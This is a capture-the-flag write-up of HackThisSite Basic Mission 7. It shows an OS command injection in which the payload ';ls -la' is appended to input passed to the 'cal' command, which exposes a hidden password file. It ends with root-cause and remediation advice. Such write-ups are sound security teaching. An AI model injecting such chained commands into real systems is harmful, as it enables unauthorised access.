HackThisSite — Basic Mission 7

---

Reconnaissance

The page runs: cal <user_input>

Tested 123 → returned a calendar for year 123. Confirmed input goes straight to shell.

---

Exploitation

Step 1 — Test Direct Injection

Tried: ls -la → blank output (no year, command confused)

Step 2 — Chain Commands with ;

Payload: ;ls -la or 123;ls -la

The ; terminates the cal command and injects a second command.

Output revealed directory listing:

index.php
level7.php
cal.pl
k1kh31b1n55h.php   ← suspicious obscure filename

Step 3 — Access the File

Navigated directly to:

https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php

Page returned the plaintext password → submitted → Congratz!

---

Root Cause

User input passed directly to a shell command with no sanitization. Classic OS Command Injection (OWASP A03).

---

Key Takeaway

Never pass unsanitized user input to shell commands. Use language-native libraries (e.g. Python's calendar module) instead of shelling out, and always whitelist/validate input strictly.